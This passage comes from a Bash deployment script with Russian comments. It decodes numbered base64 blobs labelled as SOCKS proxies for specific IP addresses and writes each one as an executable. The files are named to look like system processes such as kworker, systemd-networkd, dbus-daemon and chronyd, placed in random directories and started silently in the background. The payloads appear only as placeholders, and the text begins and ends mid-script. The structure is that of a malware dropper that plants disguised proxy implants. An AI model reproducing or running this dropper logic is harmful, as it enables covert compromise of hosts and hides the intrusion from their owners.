    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/migration-863"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_125" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./migration-863 >/dev/null 2>&1 & then
            echo "✅ Started: migration-863 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: migration-863"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: migration-863"
        failed=$((failed + 1))
    fi
    

    # Файл 127: 185.93.89.168_socks64 -> migration-679
    echo "🔧 [127/182] Deploying migration-679"
    
    # Собираем данные из частей
    FILE_DATA_126="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/migration-679"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_126" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./migration-679 >/dev/null 2>&1 & then
            echo "✅ Started: migration-679 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: migration-679"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: migration-679"
        failed=$((failed + 1))
    fi
    

    # Файл 128: 185.93.89.169_socks64 -> dbus-daemon-411
    echo "🔧 [128/182] Deploying dbus-daemon-411"
    
    # Собираем данные из частей
    FILE_DATA_127="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/dbus-daemon-411"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_127" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./dbus-daemon-411 >/dev/null 2>&1 & then
            echo "✅ Started: dbus-daemon-411 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: dbus-daemon-411"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: dbus-daemon-411"
        failed=$((failed + 1))
    fi
    

    # Файл 129: 185.93.89.170_socks64 -> rcu_gp-475
    echo "🔧 [129/182] Deploying rcu_gp-475"
    
    # Собираем данные из частей
    FILE_DATA_128="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/rcu_gp-475"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_128" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./rcu_gp-475 >/dev/null 2>&1 & then
            echo "✅ Started: rcu_gp-475 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: rcu_gp-475"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: rcu_gp-475"
        failed=$((failed + 1))
    fi
    

    # Файл 130: 185.93.89.171_socks64 -> NetworkManager-954
    echo "🔧 [130/182] Deploying NetworkManager-954"
    
    # Собираем данные из частей
    FILE_DATA_129="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/NetworkManager-954"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_129" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./NetworkManager-954 >/dev/null 2>&1 & then
            echo "✅ Started: NetworkManager-954 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: NetworkManager-954"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: NetworkManager-954"
        failed=$((failed + 1))
    fi
    

    # Файл 131: 185.93.89.172_socks64 -> rcu_gp-833
    echo "🔧 [131/182] Deploying rcu_gp-833"
    
    # Собираем данные из частей
    FILE_DATA_130="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/rcu_gp-833"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_130" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./rcu_gp-833 >/dev/null 2>&1 & then
            echo "✅ Started: rcu_gp-833 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: rcu_gp-833"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: rcu_gp-833"
        failed=$((failed + 1))
    fi
    

    # Файл 132: 185.93.89.174_socks64 -> migration-267
    echo "🔧 [132/182] Deploying migration-267"
    
    # Собираем данные из частей
    FILE_DATA_131="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/migration-267"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_131" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./migration-267 >/dev/null 2>&1 & then
            echo "✅ Started: migration-267 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: migration-267"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: migration-267"
        failed=$((failed + 1))
    fi
    

    # Файл 133: 185.93.89.175_socks64 -> migration-990
    echo "🔧 [133/182] Deploying migration-990"
    
    # Собираем данные из частей
    FILE_DATA_132="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/migration-990"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_132" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./migration-990 >/dev/null 2>&1 & then
            echo "✅ Started: migration-990 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: migration-990"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: migration-990"
        failed=$((failed + 1))
    fi
    

    # Файл 134: 185.93.89.176_socks64 -> watchdog-268
    echo "🔧 [134/182] Deploying watchdog-268"
    
    # Собираем данные из частей
    FILE_DATA_133="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/watchdog-268"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_133" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./watchdog-268 >/dev/null 2>&1 & then
            echo "✅ Started: watchdog-268 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: watchdog-268"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: watchdog-268"
        failed=$((failed + 1))
    fi
    

    # Файл 135: 185.93.89.177_socks64 -> chronyd-681
    echo "🔧 [135/182] Deploying chronyd-681"
    
    # Собираем данные из частей
    FILE_DATA_134="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/chronyd-681"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_134" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./chronyd-681 >/dev/null 2>&1 & then
            echo "✅ Started: chronyd-681 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: chronyd-681"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: chronyd-681"
        failed=$((failed + 1))
    fi
    

    # Файл 136: 185.93.89.178_socks64 -> systemd-networkd-502
    echo "🔧 [136/182] Deploying systemd-networkd-502"
    
    # Собираем данные из частей
    FILE_DATA_135="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/systemd-networkd-502"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_135" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./systemd-networkd-502 >/dev/null 2>&1 & then
            echo "✅ Started: systemd-networkd-502 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: systemd-networkd-502"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: systemd-networkd-502"
        failed=$((failed + 1))
    fi
    

    # Файл 137: 185.93.89.180_socks64 -> systemd-resolved-721
    echo "🔧 [137/182] Deploying systemd-resolved-721"
    
    # Собираем данные из частей
    FILE_DATA_136="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/systemd-resolved-721"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_136" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./systemd-resolved-721 >/dev/null 2>&1 & then
            echo "✅ Started: systemd-resolved-721 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: systemd-resolved-721"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: systemd-resolved-721"
        failed=$((failed + 1))
    fi
    

    # Файл 138: 185.93.89.181_socks64 -> systemd-networkd-370
    echo "🔧 [138/182] Deploying systemd-networkd-370"
    
    # Собираем данные из частей
    FILE_DATA_137="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/systemd-networkd-370"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_137" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./systemd-networkd-370 >/dev/null 2>&1 & then
            echo "✅ Started: systemd-networkd-370 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: systemd-networkd-370"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: systemd-networkd-370"
        failed=$((failed + 1))
    fi
    

    # Файл 139: 185.93.89.182_socks64 -> rcu_gp-974
    echo "🔧 [139/182] Deploying rcu_gp-974"
    
    # Собираем данные из частей
    FILE_DATA_138="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/rcu_gp-974"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_138" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./rcu_gp-974 >/dev/null 2>&1 & then
            echo "✅ Started: rcu_gp-974 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: rcu_gp-974"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: rcu_gp-974"
        failed=$((failed + 1))
    fi
    

    # Файл 140: 185.93.89.183_socks64 -> systemd-networkd-151
    echo "🔧 [140/182] Deploying systemd-networkd-151"
    
    # Собираем данные из частей
    FILE_DATA_139="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/systemd-networkd-151"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_139" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./systemd-networkd-151 >/dev/null 2>&1 & then
            echo "✅ Started: systemd-networkd-151 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: systemd-networkd-151"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: systemd-networkd-151"
        failed=$((failed + 1))
    fi
    

    # Файл 141: 185.93.89.187_socks64 -> rcu_gp-408
    echo "🔧 [141/182] Deploying rcu_gp-408"
    
    # Собираем данные из частей
    FILE_DATA_140="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/rcu_gp-408"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_140" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./rcu_gp-408 >/dev/null 2>&1 & then
            echo "✅ Started: rcu_gp-408 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: rcu_gp-408"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: rcu_gp-408"
        failed=$((failed + 1))
    fi
    

    # Файл 142: 185.93.89.188_socks64 -> migration-275
    echo "🔧 [142/182] Deploying migration-275"
    
    # Собираем данные из частей
    FILE_DATA_141="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/migration-275"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_141" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./migration-275 >/dev/null 2>&1 & then
            echo "✅ Started: migration-275 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: migration-275"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: migration-275"
        failed=$((failed + 1))
    fi
    

    # Файл 143: 185.93.89.189_socks64 -> rsyslog-960
    echo "🔧 [143/182] Deploying rsyslog-960"
    
    # Собираем данные из частей
    FILE_DATA_142="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/rsyslog-960"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_142" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./rsyslog-960 >/dev/null 2>&1 & then
            echo "✅ Started: rsyslog-960 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: rsyslog-960"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: rsyslog-960"
        failed=$((failed + 1))
    fi
    

    # Файл 144: 185.93.89.190_socks64 -> migration-646
    echo "🔧 [144/182] Deploying migration-646"
    
    # Собираем данные из частей
    FILE_DATA_143="[encoded data, 17132 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/migration-646"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_143" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./migration-646 >/dev/null 2>&1 & then
            echo "✅ Started: migration-646 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: migration-646"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: migration-646"
        failed=$((failed + 1))
    fi
    

    # Файл 145: 185.93.89.190_socks32 -> systemd-logind-164
    echo "🔧 [145/182] Deploying systemd-logind-164"
    
    # Собираем данные из частей
    FILE_DATA_144="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/systemd-logind-164"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_144" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./systemd-logind-164 >/dev/null 2>&1 & then
            echo "✅ Started: systemd-logind-164 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: systemd-logind-164"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: systemd-logind-164"
        failed=$((failed + 1))
    fi
    

    # Файл 146: 185.93.89.189socks32 -> kworker-676
    echo "🔧 [146/182] Deploying kworker-676"
    
    # Собираем данные из частей
    FILE_DATA_145="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/kworker-676"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_145" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./kworker-676 >/dev/null 2>&1 & then
            echo "✅ Started: kworker-676 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: kworker-676"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: kworker-676"
        failed=$((failed + 1))
    fi
    

    # Файл 147: 185.93.89.188socks32 -> ksoftirqd-133
    echo "🔧 [147/182] Deploying ksoftirqd-133"
    
    # Собираем данные из частей
    FILE_DATA_146="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/ksoftirqd-133"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_146" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./ksoftirqd-133 >/dev/null 2>&1 & then
            echo "✅ Started: ksoftirqd-133 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: ksoftirqd-133"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: ksoftirqd-133"
        failed=$((failed + 1))
    fi
    

    # Файл 148: 185.93.89.187_socks32 -> systemd-networkd-956
    echo "🔧 [148/182] Deploying systemd-networkd-956"
    
    # Собираем данные из частей
    FILE_DATA_147="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/systemd-networkd-956"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_147" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./systemd-networkd-956 >/dev/null 2>&1 & then
            echo "✅ Started: systemd-networkd-956 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: systemd-networkd-956"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: systemd-networkd-956"
        failed=$((failed + 1))
    fi
    

    # Файл 149: 185.93.89.183socks32 -> rsyslog-613
    echo "🔧 [149/182] Deploying rsyslog-613"
    
    # Собираем данные из частей
    FILE_DATA_148="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/rsyslog-613"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_148" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./rsyslog-613 >/dev/null 2>&1 & then
            echo "✅ Started: rsyslog-613 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: rsyslog-613"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: rsyslog-613"
        failed=$((failed + 1))
    fi
    

    # Файл 150: 185.93.89.182_socks32 -> migration-831
    echo "🔧 [150/182] Deploying migration-831"
    
    # Собираем данные из частей
    FILE_DATA_149="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/migration-831"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_149" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./migration-831 >/dev/null 2>&1 & then
            echo "✅ Started: migration-831 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: migration-831"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: migration-831"
        failed=$((failed + 1))
    fi
    

    # Файл 151: 185.93.89.180socks32 -> migration-310
    echo "🔧 [151/182] Deploying migration-310"
    
    # Собираем данные из частей
    FILE_DATA_150="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/migration-310"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_150" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./migration-310 >/dev/null 2>&1 & then
            echo "✅ Started: migration-310 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: migration-310"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: migration-310"
        failed=$((failed + 1))
    fi
    

    # Файл 152: 185.93.89.179_socks32 -> kworker-261
    echo "🔧 [152/182] Deploying kworker-261"
    
    # Собираем данные из частей
    FILE_DATA_151="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/kworker-261"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_151" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./kworker-261 >/dev/null 2>&1 & then
            echo "✅ Started: kworker-261 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: kworker-261"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: kworker-261"
        failed=$((failed + 1))
    fi
    

    # Файл 153: 185.93.89.178socks32 -> systemd-networkd-547
    echo "🔧 [153/182] Deploying systemd-networkd-547"
    
    # Собираем данные из частей
    FILE_DATA_152="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/systemd-networkd-547"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_152" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./systemd-networkd-547 >/dev/null 2>&1 & then
            echo "✅ Started: systemd-networkd-547 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: systemd-networkd-547"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: systemd-networkd-547"
        failed=$((failed + 1))
    fi
    

    # Файл 154: 185.93.89.177_socks32 -> systemd-logind-312
    echo "🔧 [154/182] Deploying systemd-logind-312"
    
    # Собираем данные из частей
    FILE_DATA_153="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/systemd-logind-312"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_153" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./systemd-logind-312 >/dev/null 2>&1 & then
            echo "✅ Started: systemd-logind-312 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: systemd-logind-312"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: systemd-logind-312"
        failed=$((failed + 1))
    fi
    

    # Файл 155: 185.93.89.176socks32 -> systemd-resolved-806
    echo "🔧 [155/182] Deploying systemd-resolved-806"
    
    # Собираем данные из частей
    FILE_DATA_154="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/systemd-resolved-806"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_154" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./systemd-resolved-806 >/dev/null 2>&1 & then
            echo "✅ Started: systemd-resolved-806 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: systemd-resolved-806"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: systemd-resolved-806"
        failed=$((failed + 1))
    fi
    

    # Файл 156: 185.93.89.175_socks32 -> dbus-daemon-759
    echo "🔧 [156/182] Deploying dbus-daemon-759"
    
    # Собираем данные из частей
    FILE_DATA_155="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/dbus-daemon-759"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_155" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
        cd "$TARGET_DIR"
        if ./dbus-daemon-759 >/dev/null 2>&1 & then
            echo "✅ Started: dbus-daemon-759 (PID: $!) in $TARGET_DIR"
            launched=$((launched + 1))
        else
            echo "❌ Failed to start: dbus-daemon-759"
            failed=$((failed + 1))
            rm -f "$TARGET_PATH"
        fi
        sleep 0.$((RANDOM % 10))
    else
        echo "❌ Failed to decode: dbus-daemon-759"
        failed=$((failed + 1))
    fi
    

    # Файл 157: 185.93.89.174_socks32 -> chronyd-585
    echo "🔧 [157/182] Deploying chronyd-585"
    
    # Собираем данные из частей
    FILE_DATA_156="[encoded data, 16972 characters]"
    
    # Выбираем случайную папку
    TARGET_DIR="${DIRS[$RANDOM % ${#DIRS[@]}]}"
    TARGET_PATH="$TARGET_DIR/chronyd-585"
    
    # Декодируем и записываем
    if echo "$FILE_DATA_156" | base64 -d > "$TARGET_PATH" 2>/dev/null; then
        chmod +x "$TARGET_PATH" 2>/dev/null
